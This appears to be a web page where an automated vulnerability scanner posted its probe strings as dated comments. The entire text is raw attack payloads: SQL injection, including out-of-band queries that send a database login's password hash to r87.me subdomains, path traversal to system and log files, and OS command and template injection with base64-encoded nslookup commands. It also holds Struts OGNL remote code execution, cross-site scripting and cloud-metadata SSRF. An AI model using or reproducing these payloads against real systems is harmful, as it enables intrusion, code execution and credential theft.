declare @h varchar(999)select @h='1'+substring(name+'-'+master.sys.fn_varbintohexstr(ISNULL(password_hash,0x0)),0,63)+'.leo2yix4_d_ccks2ipjb5i5ggnbyeop1po7xxrao'+'ffi.r87.me' from sys.sql_logins WHERE principal_id=1;exec('xp_dirtree ''\\'+@h+'\c$''')
Tue, 03 Feb 2026
'AND 1=cast(0x5f21403264696c656d6d61 as varchar(8000)) or '1'='
Tue, 03 Feb 2026
+response.write(268409241-10192)'
Tue, 03 Feb 2026
') AND (SELECT 1 FROM (SELECT(SLEEP(25)))A)-- 1
Tue, 03 Feb 2026
...//...//...//...//...//...//...//...//...//...//...//etc/passwd
Tue, 03 Feb 2026
ns../../../../../../../../../../../boot.ini.......................................................................................................................................................................................
Tue, 03 Feb 2026
1;exec('xp_dirtree ''\\leo2yix4_dzii5cpsqlg4pnh9iead67kugcq6yat'+'wlk.r87.me'+'\c$\a''')--
Tue, 03 Feb 2026
"& nslookup leo2yix4_datxzcvlkvj6y98elkps7hxh0ueff9l^y_s.r87.me&'\"`0&nslookup leo2yix4_datxzcvlkvj6y98elkps7hxh0ueff9l^y_s.r87.me&`'
Tue, 03 Feb 2026
/../../../../../../../../../../AppServ/Apache24/logs/access.log
Tue, 03 Feb 2026
www.aosacademy.com.r87.com/?
Tue, 03 Feb 2026
"+netsparker(0x17AC90)+"
Tue, 03 Feb 2026
"+response.write(268409241-53815)+"
Tue, 03 Feb 2026
-1 or 1=1 and (SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)
Tue, 03 Feb 2026
-1';exec('xp_dirtree ''\\leo2yix4_dh9wzyeve7007ayticqnk5z3pvvumub'+'jj4.r87.me'+'\c$\a''')--
Tue, 03 Feb 2026
....//....//....//....//....//....//....//....//....//....//....//etc/passwd
Tue, 03 Feb 2026
/../../../../../../../../../../boot.ini
Tue, 03 Feb 2026
http://www.aosacademy.com.r87.com/?
Tue, 03 Feb 2026
nslookup "leo2yix4_de-r8l9ro3v0am2b10kmiovgerhd0lb""jq8.r87.me"
Tue, 03 Feb 2026
<% response.write(268409241-25471) %>
Tue, 03 Feb 2026
../../../../../../../../../../xampp/apache/logs/access.log
Tue, 03 Feb 2026
<html xmlns="http://www.w3.org/1999/xhtml">[removed]netsparker(0x17AE4D)[removed]</html>
Tue, 03 Feb 2026
-1' and 6=3 or 1=1+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+'
Tue, 03 Feb 2026
1) exec('xp_dirtree ''\\leo2yix4_d6ivwpc5xbb29fv2bvbeldoa1ltpwtt'+'e1u.r87.me'+'\c$\a''')--
Tue, 03 Feb 2026
&nslookup "leo2yix4_dpobznjalcuhhvuir8qpadyl-td6d3g""ees.r87.me"
Tue, 03 Feb 2026
https://www.aosacademy.com.r87.com/?
Tue, 03 Feb 2026
file:///boot.ini
Tue, 03 Feb 2026
//r87.com/?0x17AF0A
Tue, 03 Feb 2026
.....///.....///.....///.....///.....///.....///.....///.....///.....///.....///.....///etc/passwd
Tue, 03 Feb 2026
-1" and 6=3 or 1=1+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+"
Tue, 03 Feb 2026
print(int)0xFFF9999-96219
Tue, 03 Feb 2026
/../../../../../../../../../../var/log/apache/access.log
Tue, 03 Feb 2026
1')exec('xp_dirtree ''\\leo2yix4_du9kigze7azj34ybbxkmvxupn5d0aos'+'zvk.r87.me'+'\c$\a''')--
Tue, 03 Feb 2026
'&nslookup "leo2yix4_dg0aencrdyvfvnvmaqh1frxh3tlj60y""g4g.r87.me"
Tue, 03 Feb 2026
//r87。com/?
Tue, 03 Feb 2026
c:\boot.ini
Tue, 03 Feb 2026
<a>
Tue, 03 Feb 2026
(SELECT CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)))
Tue, 03 Feb 2026
. . /. . /. . /. . /. . /. . /. . /. . /. . /. . /. . /etc/passwd
Tue, 03 Feb 2026
https://www.aosacademy.com/trace.axd
Tue, 03 Feb 2026
print(int)0xFFF9999-34000;
Tue, 03 Feb 2026
"&nslookup "leo2yix4_dg3rtx-6pkzpd56hvft-ghdqxjmijrl""sdw.r87.me"
Tue, 03 Feb 2026
ns@mail.ns'"/>()&%[removed]netsparker(0x17B1F4)[removed]
Tue, 03 Feb 2026
1))exec('xp_dirtree ''\\leo2yix4_duggmf_4e1p_gx3vz_il_gulp_ipe26'+'3fg.r87.me'+'\c$\a''')--
Tue, 03 Feb 2026
/../../../../../../../../../../web.config
Tue, 03 Feb 2026
' WAITFOR DELAY '0:0:25'--
Tue, 03 Feb 2026
@r87.com
Tue, 03 Feb 2026
www.aosacademy.com/trace.axd
Tue, 03 Feb 2026
cast((select chr(95)||chr(33)||chr(64)||chr(53)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)) as numeric)
Tue, 03 Feb 2026
1/../../../../../../../../../../../etc/passwd
Tue, 03 Feb 2026
+print(int)0xFFF9999-69881;//
Tue, 03 Feb 2026
|nslookup${IFS}"leo2yix4_d-eln8xc78pg71vz1lij_n8ggvlfh4z""7aa.r87.me"
Tue, 03 Feb 2026
1'))exec('xp_dirtree ''\\leo2yix4_dln_j5ils0ht_0baafx3p6nplpooa7e'+'gz0.r87.me'+'\c$\a''')--
Tue, 03 Feb 2026
Content-Type:text/html [removed]ns(0x17B447)[removed]
Tue, 03 Feb 2026
1 WAITFOR DELAY '0:0:25'--
Tue, 03 Feb 2026
64.20.35.186/trace.axd
Tue, 03 Feb 2026
/../../../../../../../../../../windows/win.ini
Tue, 03 Feb 2026
'||cast((select chr(95)||chr(33)||chr(64)||chr(53)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)) as numeric)||'
Tue, 03 Feb 2026
/etc/passwd
Tue, 03 Feb 2026
'+print(int)0xFFF9999-66118+'
Tue, 03 Feb 2026
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='nslookup `whoami`."leo2yix4_d2nm2dm3-nxa5uqf8toq6gzyqq98fnd""bwo.r87.me"').(#p=new java.lang.ProcessBuilder({'/bin/bash','-c',#cmd})).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}
Tue, 03 Feb 2026
syscolumns WHERE 2>3;exec('xp_dirtree ''\\leo2yix4_dyzgvxiqjdccvqs9umfhctco1u9y1pi'+'mka.r87.me'+'\c$\a''')--
Tue, 03 Feb 2026
127.100.11.2/trace.axd
Tue, 03 Feb 2026
WAITFOR DELAY '0:0:25'--
Tue, 03 Feb 2026
<frame src="[removed]netsparker(0x17B5BB)"></frame>
Tue, 03 Feb 2026
file:///windows/win.ini
Tue, 03 Feb 2026
(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL)
Tue, 03 Feb 2026
"+print(int)0xFFF9999-25425+"
Tue, 03 Feb 2026
/../../../../../../../../../../../etc/passwd
Tue, 03 Feb 2026
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='nslookup "leo2yix4_dommvqxcxmqtrvgp0lhsf_7fcniqlxz"m04.r87.me"').(#p=new java.lang.ProcessBuilder({'cmd.exe','/c',#cmd})).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}
Tue, 03 Feb 2026
DECLARE @q varchar(999),@r nvarchar(999)SET @q = 'SELECT * FROM OPENROWSET(''SQLOLEDB'',''@'';''a'';''1'',''SELECT 1'')'SET @r=replace(@q,'@','leo2yix4_dbgv-2kjz-osit-dsxlvat9zzc5tkta'+'b_u.r87.me')exec sp_executesql @r
Tue, 03 Feb 2026
1) WAITFOR DELAY '0:0:25'--
Tue, 03 Feb 2026
127.0.0.1/trace.axd
Tue, 03 Feb 2026
/../../../../../../../../../../windows/win.ini.php
Tue, 03 Feb 2026
NSFTW
Tue, 03 Feb 2026
{{__import__('os').popen(__import__('base64').urlsafe_b64decode('bnNsb29rdXAgbGVvMnlpeDRfZDBjbXBueWhyZnFodHRkamh5eXlyMndyd2lwMmxvdTV4ZS5yODcubWU=')).read()}}
Tue, 03 Feb 2026
<?=(int)0xFFF9999-75333;//?>
Tue, 03 Feb 2026
[removed]TlM3NzU0NTYxNDQ2NTc1
Tue, 03 Feb 2026
'"--></style>[removed][removed]netsparker(0x17B7A9)[removed]
Tue, 03 Feb 2026
1;DECLARE @q varchar(999),@r nvarchar(999)SET @q = 'SELECT * FROM OPENROWSET(''SQLOLEDB'',''@'';''a'';''1'',''SELECT 1'')'SET @r=replace(@q,'@','leo2yix4_d2dbkrk62wedmkqcsliu4vzqlowkrb1'+'4h8.r87.me')exec sp_executesql @r--
Tue, 03 Feb 2026
[::1]/trace.axd
Tue, 03 Feb 2026
') WAITFOR DELAY '0:0:25'--
Tue, 03 Feb 2026
c:\windows\win.ini
Tue, 03 Feb 2026
'+NSFTW+'
Tue, 03 Feb 2026
3
Tue, 03 Feb 2026
{php}print(int)0xFFF9999-88415;{/php}
Tue, 03 Feb 2026
{% set d = "eval(__import__('base64').urlsafe_b64decode('X19pbXBvcnRfXygnb3MnKS5wb3BlbihfX2ltcG9ydF9fKCdiYXNlNjQnKS51cmxzYWZlX2I2NGRlY29kZSgnYm5Oc2IyOXJkWEFnYkdWdk1ubHBlRFJmWkc5cWJXcG5jekl3YUY5ak9HbHdhbVIwWm1WeUxUaHRPV3hsYmpKdVltZHhjeTV5T0RjdWJXVT0nKSkucmVhZCgp'))" %}{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %}{% for b in c.__init__.func_globals.values() %} {% if b.__class__ == {}.__class__ %}{% if 'eval' in b.keys() %}{{ b['eval'](d) }}{% endif %}{% endif %}{% endfor %}{% endif %}{% endfor %}
Tue, 03 Feb 2026
'"--></style>[removed][removed]netsparker(0x17B947)[removed]
Tue, 03 Feb 2026
10
Tue, 03 Feb 2026
https://www.aosacademy.com/elmah.axd
Tue, 03 Feb 2026
')) WAITFOR DELAY '0:0:25'--
Tue, 03 Feb 2026
-1';DECLARE @q varchar(999),@r nvarchar(999)SET @q = 'SELECT * FROM OPENROWSET(''SQLOLEDB'',''@'';''a'';''1'',''SELECT 1'')'SET @r=replace(@q,'@','leo2yix4_dzhtzbdat2zshbgqk6c-d_dh_lvewn5'+'vuq.r87.me')exec sp_executesql @r--
Tue, 03 Feb 2026
...//...//...//...//...//...//...//...//...//...//...//windows/win.ini
Tue, 03 Feb 2026
3
Tue, 03 Feb 2026
(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)
Tue, 03 Feb 2026
= global.process.mainModule.require('child_process').execSync(Buffer('bnNsb29rdXAgbGVvMnlpeDRfZGRiamRnZHB4cWF5YWJia2hxN3Jua3h1anNyazRrOGtiOC5yODcubWU=','base64').toString())
Tue, 03 Feb 2026
'{${print(int)0xFFF9999-25040}}'
Tue, 03 Feb 2026
www.aosacademy.com/elmah.axd
Tue, 03 Feb 2026
[removed]JyI+PHNjcmlwdD5uZXRzcGFya2VyKDB4MTdCQUU0KTwvc2NyaXB0Pg==
Tue, 03 Feb 2026
10
Tue, 03 Feb 2026
SELECT dblink_connect('host=leo2yix4_dkbl9vtzndgkgfhdzmaof7d24nawxlw'||'tne.r87.me user=a password=a connect_timeout=2')
Tue, 03 Feb 2026
1)) WAITFOR DELAY '0:0:25'--
Tue, 03 Feb 2026
....//....//....//....//....//....//....//....//....//....//....//windows/win.ini
Tue, 03 Feb 2026
-1'+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+'
Tue, 03 Feb 2026
<%- global.process.mainModule.require('child_process').execSync(Buffer('bnNsb29rdXAgbGVvMnlpeDRfZGllamNocDNlaWN1YnRwZWpiemx2OTducWctemhjaXhpbS5yODcubWU=','base64').toString()) %>
Tue, 03 Feb 2026
3
Tue, 03 Feb 2026
/blog/add_blog_comment/10
Tue, 03 Feb 2026
[php]print(int)0xFFF9999-92472;[/php]
Tue, 03 Feb 2026
dblink_connect('host=leo2yix4_dfdulh7h1l8zp5rff4ohqzazccbroit'||'q6w.r87.me user=a password=a connect_timeout=2')
Tue, 03 Feb 2026
'" ns=netsparker(0x17BD93)
Tue, 03 Feb 2026
1));DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x--
Tue, 03 Feb 2026
64.20.35.186/elmah.axd
Tue, 03 Feb 2026
.....///.....///.....///.....///.....///.....///.....///.....///.....///.....///.....///windows/win.ini
Tue, 03 Feb 2026
1 procedure analyse(extractvalue(rand(),concat(0x3a,CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)))),1)-- 1
Tue, 03 Feb 2026
/add_blog_comment/10
Tue, 03 Feb 2026
{php}Smarty_Resource::parseResourceName(system("nslookup leo2yix4_dpnszrtvziolhf6_csrtcvarp-vm23h"."lww.r87.me"),'b');{/php}
Tue, 03 Feb 2026
3
Tue, 03 Feb 2026
cast((SELECT dblink_connect('host=leo2yix4_dctspsqtsa5pyvyhazel7hu2xpwyris'||'lcs.r87.me user=a password=a connect_timeout=2')) as numeric)
Tue, 03 Feb 2026
1;DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x--
Tue, 03 Feb 2026
%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='2001').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c','SET /A 0xFFF9999 -' + #cmd}:{'/bin/bash','-c','expr 268409241 - ' + #cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
Tue, 03 Feb 2026
1 ns=netsparker(0x17BF4E)
Tue, 03 Feb 2026
127.100.11.2/elmah.axd
Tue, 03 Feb 2026
. . /. . /. . /. . /. . /. . /. . /. . /. . /. . /. . /windows/win.ini
Tue, 03 Feb 2026
3
Tue, 03 Feb 2026
(length(CTXSYS.DRITHSX.SN(user,(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL))))
Tue, 03 Feb 2026
cast((SELECT dblink_connect(chr(104)||chr(111)||chr(115)||chr(116)||chr(61)||chr(108)||chr(101)||chr(111)||chr(50)||chr(121)||chr(105)||chr(120)||chr(52)||chr(95)||chr(100)||chr(102)||chr(120)||chr(109)||chr(110)||chr(55)||chr(108)||chr(122)||chr(121)||chr(98)||chr(122)||chr(118)||chr(118)||chr(45)||chr(99)||chr(52)||chr(108)||chr(103)||chr(121)||chr(117)||chr(49)||chr(108)||chr(110)||chr(101)||chr(104)||chr(52)||chr(52)||chr(102)||chr(99)||chr(104)||chr(113)||chr(122)||chr(99)||chr(107)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)||chr(32)||chr(117)||chr(115)||chr(101)||chr(114)||chr(61)||chr(97)||chr(32)||chr(112)||chr(97)||chr(115)||chr(115)||chr(119)||chr(111)||chr(114)||chr(100)||chr(61)||chr(97)||chr(32)||chr(99)||chr(111)||chr(110)||chr(110)||chr(101)||chr(99)||chr(116)||chr(95)||chr(116)||chr(105)||chr(109)||chr(101)||chr(111)||chr(117)||chr(116)||chr(61)||chr(50))) as numeric)
Tue, 03 Feb 2026
WEB-INF/web.xml
Tue, 03 Feb 2026
1);DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x--
Tue, 03 Feb 2026
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("nslookup leo2yix4_d2hsjub-jsokse4fdoxjtxoz3bx3srt"~"x2y.r87.me")}}
Tue, 03 Feb 2026
127.0.0.1/elmah.axd
Tue, 03 Feb 2026
print localtime()*0+0xFFF9999-1155
Tue, 03 Feb 2026
//r87.com/n/n.css?0x17BFDF
Tue, 03 Feb 2026
/../../../../../../../../../../windows/iis6.log
Tue, 03 Feb 2026
gethostbyname(trim('leo2yix4_d--y4al6_ws_h0grlpdqqlcpgapoohp'.'toi.r87.me'))
Tue, 03 Feb 2026
'||(SELECT dblink_connect('host=leo2yix4_dtqwwmvloz4nf4q-fqdwyijvzakotfp'||'pm8.r87.me user=a password=a connect_timeout=2'))||'
Tue, 03 Feb 2026
syscolumns WHERE 2>3;DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x--
Tue, 03 Feb 2026
<%= "#{(require'base64';%x(#{Base64.urlsafe_decode64('bnNsb29rdXAgbGVvMnlpeDRfZGZuOF90MnFnbG9fbjFndTZ5bjFsbHh1d2JneXBzZm84eS5yODcubWU=')})).to_s}" %>
Tue, 03 Feb 2026
'||CTXSYS.DRITHSX.SN(user,(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL))||'
Tue, 03 Feb 2026
[::1]/elmah.axd
Tue, 03 Feb 2026
eval('print localtime()*0+0xFFF9999-98506')
Tue, 03 Feb 2026
/../../../../../../../../../../WEB-INF/web.xml
Tue, 03 Feb 2026
//r87.com/n/j/?0x17C0BD
Tue, 03 Feb 2026
/../../../../../../../../../../proc/self/fd/2
Tue, 03 Feb 2026
gethostbyname(trim('leo2yix4_dchnwd9cjj8_4h_yyuf4jrrt5wjegrj'.'msu.r87.me'));
Tue, 03 Feb 2026
(select UTL_INADDR.GET_HOST_ADDRESS('leo2yix4_dneczgbxckha6zyhryhzme95wwzcdec'||'8tc.r87.me') from DUAL)
Tue, 03 Feb 2026
<#assign ex="freemarker.template.utility.Execute"?new()>${ ex("bash -c {eval,$({tr,/+,_-}<<<bnNsb29rdXAgbGVvMnlpeDRfZGpqaXFvbHE5ejRjb2tkZV95dXFvb3plb3Z5d2JiZ25kNC5yODcubWU=|{base64,--decode})}") }
Tue, 03 Feb 2026
1 + ((SELECT 1 FROM (SELECT SLEEP(25))A))/*'XOR(((SELECT 1 FROM (SELECT SLEEP(25))A)))OR'|"XOR(((SELECT 1 FROM (SELECT SLEEP(25))A)))OR"*/
Tue, 03 Feb 2026
https://www.aosacademy.com/elmah
Tue, 03 Feb 2026
'+convert(int, cast(0x5f21403264696c656d6d61 as varchar(8000)))+'
Tue, 03 Feb 2026
/../../../../../../../../../../var/log/apache2/access.log
Tue, 03 Feb 2026
'+print localtime()*0+0xFFF9999-73835+'
Tue, 03 Feb 2026
'><net sparker=netsparker(0x17C42E)>
Tue, 03 Feb 2026
+gethostbyname(trim('leo2yix4_dl0a5cvxlvfvpxjnjoxabpr67cpryua'.'ooi.r87.me'));//
Tue, 03 Feb 2026
/../../../../../../../../../../proc/self/fd/2.php
Tue, 03 Feb 2026
Tue, 03 Feb 2026
(length(CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS('leo2yix4_dx0gopcuui8u6kfrw5zjcpa9o4sb93x'||'mxo.r87.me') from DUAL))))
Tue, 03 Feb 2026
<#assign ex="freemarker.template.utility.Execute"?new()>${ ex("cmd.exe /c nslookup leo2yix4_dndw0g-f89a8bv9u6xs3imonavrhvyk"+"e4i.r87.me") }
Tue, 03 Feb 2026
-1 AND ((SELECT 1 FROM (SELECT 2)a WHERE 1=sleep(25)))-- 1
Tue, 03 Feb 2026
www.aosacademy.com/elmah
Tue, 03 Feb 2026
"+print localtime()*0+0xFFF9999-4414+"
Tue, 03 Feb 2026
-1'+and+6=3+or+1=1+(SELECT+1+and+ROW(1,1)>(SELECT+COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.COLLATIONS+GROUP+BY+x)a)+'
Tue, 03 Feb 2026
/../../../../../../../../../../etc/httpd/logs/access.log
Tue, 03 Feb 2026
"><net sparker=netsparker(0x17C5DE)>
Tue, 03 Feb 2026
'+gethostbyname(trim('leo2yix4_d747b-quy2svwun1raj67eaynhgavha'.'guk.r87.me'))+'
Tue, 03 Feb 2026
Tue, 03 Feb 2026
/../../../../../../../../../../etc/httpd/logs/error.log
Tue, 03 Feb 2026
'||CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS('leo2yix4_dwclszyx7l3miqj8bekpawuq-lqkb4q'||'mke.r87.me') from DUAL))||'
Tue, 03 Feb 2026
((select sleep(25)))a-- 1
Tue, 03 Feb 2026
64.20.35.186/elmah
Tue, 03 Feb 2026
arguments[1].end(require('child_process').execSync('expr 268409241 - 79886'))
Tue, 03 Feb 2026
require 'resolv';Resolv.getaddress ("leo2yix4_dtg1pwsjzqgie_jenzzyfmqdq_zkt9_".concat "lcy.r87.me")
Tue, 03 Feb 2026
-1\'+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand(0)*2))x from INFORMATION_SCHEMA.COLLATIONS group by x limit 1))-- 1
Tue, 03 Feb 2026
<iMg>
Tue, 03 Feb 2026
/../../../../../../../../../../var/log/nginx/access.log
Tue, 03 Feb 2026
Tue, 03 Feb 2026
"+gethostbyname(trim('leo2yix4_dbmekfh_0jqm_a4nk2h-rnzo1ezlrl9'.'p70.r87.me'))+"
Tue, 03 Feb 2026
/../../../../../../../../../../etc/httpd/logs/error_log
Tue, 03 Feb 2026
(select UTL_INADDR.GET_HOST_ADDRESS(chr(108)||chr(101)||chr(111)||chr(50)||chr(121)||chr(105)||chr(120)||chr(52)||chr(95)||chr(100)||chr(54)||chr(122)||chr(122)||chr(48)||chr(109)||chr(100)||chr(98)||chr(113)||chr(115)||chr(101)||chr(105)||chr(112)||chr(121)||chr(112)||chr(117)||chr(45)||chr(49)||chr(112)||chr(122)||chr(97)||chr(109)||chr(120)||chr(106)||chr(109)||chr(53)||chr(98)||chr(116)||chr(99)||chr(119)||chr(115)||chr(99)||chr(118)||chr(52)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)) from DUAL)
Tue, 03 Feb 2026
127.100.11.2/elmah
Tue, 03 Feb 2026
__import__('os').popen(__import__('base64').urlsafe_b64decode('bnNsb29rdXAgbGVvMnlpeDRfZHhfOTQ4cmJtMWwzdnJ1bnAwYWFjcXFvYnA2NXJ1ZDd1ay5yODcubWU=')).read()
Tue, 03 Feb 2026
[removed]netsparker(0x17C8BF)
Tue, 03 Feb 2026
arguments[1].end(require('child_process').execSync('set /A 268409241 - 73042'))
Tue, 03 Feb 2026
Tue, 03 Feb 2026
<? gethostbyname(trim('leo2yix4_dal-n7kpgjnrus2fx5njgcqy3r-kdjm'.'d4s.r87.me'));//?>
Tue, 03 Feb 2026
/../../../../../../../../../../opt/lampp/logs/access_log
Tue, 03 Feb 2026
/../../../../../../../../../../var/log/apache2/error.log
Tue, 03 Feb 2026
127.0.0.1/elmah
Tue, 03 Feb 2026
(length(CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS(chr(108)||chr(101)||chr(111)||chr(50)||chr(121)||chr(105)||chr(120)||chr(52)||chr(95)||chr(100)||chr(99)||chr(56)||chr(100)||chr(109)||chr(115)||chr(106)||chr(107)||chr(115)||chr(118)||chr(104)||chr(98)||chr(97)||chr(113)||chr(98)||chr(99)||chr(106)||chr(114)||chr(101)||chr(109)||chr(102)||chr(114)||chr(97)||chr(103)||chr(52)||chr(121)||chr(115)||chr(107)||chr(116)||chr(103)||chr(120)||chr(101)||chr(99)||chr(105)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)) from DUAL))))
Tue, 03 Feb 2026
1' || (select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual) || '
Tue, 03 Feb 2026
%{#context["com.opensymphony.xwork2.dispatcher.HttpServletResponse"].addHeader("a",268409241-12980)}
Tue, 03 Feb 2026
[removed]ns(0x17CA8A)[removed]
Tue, 03 Feb 2026
'{${gethostbyname(trim('leo2yix4_dcdnewoc6htq-9wpjutfitexvpuymsw'.'tm8.r87.me'))}}'
Tue, 03 Feb 2026
/../../../../../../../../../../var/log/apache/error.log
Tue, 03 Feb 2026
Tue, 03 Feb 2026
/../../../../../../../../../../var/log/lighttpd/access.log
Tue, 03 Feb 2026
[::1]/elmah
Tue, 03 Feb 2026
'||CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS(chr(108)||chr(101)||chr(111)||chr(50)||chr(121)||chr(105)||chr(120)||chr(52)||chr(95)||chr(100)||chr(114)||chr(121)||chr(118)||chr(107)||chr(104)||chr(119)||chr(122)||chr(122)||chr(106)||chr(121)||chr(105)||chr(112)||chr(111)||chr(109)||chr(53)||chr(121)||chr(108)||chr(107)||chr(102)||chr(100)||chr(120)||chr(117)||chr(101)||chr(117)||chr(121)||chr(108)||chr(116)||chr(51)||chr(101)||chr(101)||chr(98)||chr(53)||chr(119)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)) from DUAL))||'
Tue, 03 Feb 2026
1 + (select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual) + 1
Tue, 03 Feb 2026
p "#{0xFFF9999.to_i-`echo 95388`.to_i}"
Tue, 03 Feb 2026
<%a style=x:expre/**/ssion(netsparker(0x17CC46))>
Tue, 03 Feb 2026
createobject("WScript.Shell").exec("nslookup leo2yix4_ddvjjztzowunbl_vmxvpkr-o8rdn-nh" & "hja.r87.me").StdOut.ReadAll
Tue, 03 Feb 2026
/../../../../../../../../../../proc/version
Tue, 03 Feb 2026
http://aws.r87.me/latest/meta-data/public-hostname
Tue, 03 Feb 2026
/../../../../../../../../../../AppServ/Apache24/logs/access.log
Tue, 03 Feb 2026
1';SELECT pg_sleep(25)--
Tue, 03 Feb 2026
__import__('os').popen(('expr 268409241 - {0}').format('70198')).read()
Tue, 03 Feb 2026
n;ns:[removed]netsparker(0x17CDA1));
Tue, 03 Feb 2026
+createobject("WScript.Shell").exec("nslookup leo2yix4_dkbr7wwbpdzz78rd-xystngqzxkuofj" & "h0y.r87.me").StdOut.ReadAll
Tue, 03 Feb 2026
/../../../../../../../../../../proc/version.php
Tue, 03 Feb 2026
http://169.254.169.254/latest/meta-data/public-hostname
Tue, 03 Feb 2026
../../../../../../../../../../xampp/apache/logs/access.log
Tue, 03 Feb 2026
1;SELECT pg_sleep(25)--
